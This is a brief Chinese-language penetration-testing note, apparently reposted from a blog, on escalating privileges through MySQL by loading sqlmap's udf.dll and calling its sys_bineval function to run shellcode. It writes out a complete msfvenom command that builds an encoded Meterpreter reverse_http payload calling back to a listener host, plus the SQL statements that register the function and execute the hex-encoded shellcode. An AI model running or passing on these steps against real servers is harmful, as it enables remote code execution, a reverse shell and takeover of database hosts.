mysql UDF提权 sys_bineval

介绍:

执行shellcode – sys_bineval

sqmapl自带udf.dll中存在函数’sys_bineval,执行shellcode – sys_bineval

利用:

MSF生成shellcode:

msfvenom -p windows/meterpreter/reverse_http EXITFUNC=thread LPORT=8080 LHOST=172.16.229.139 -a x86 -e x86/alpha_mixed -f raw BufferRegister=EAX > test.txt ;cat test.txt |xxd -c 9999 -ps

mysql执行:

创建函数:create function sys_bineval returns int soname 'udf.dll';

测试执行:select sys_bineval("whoami")

执行shellcode

select sys_bineval(0x.........);

原文地址:https://www.cnblogs.com/websecyw/p/10908087.html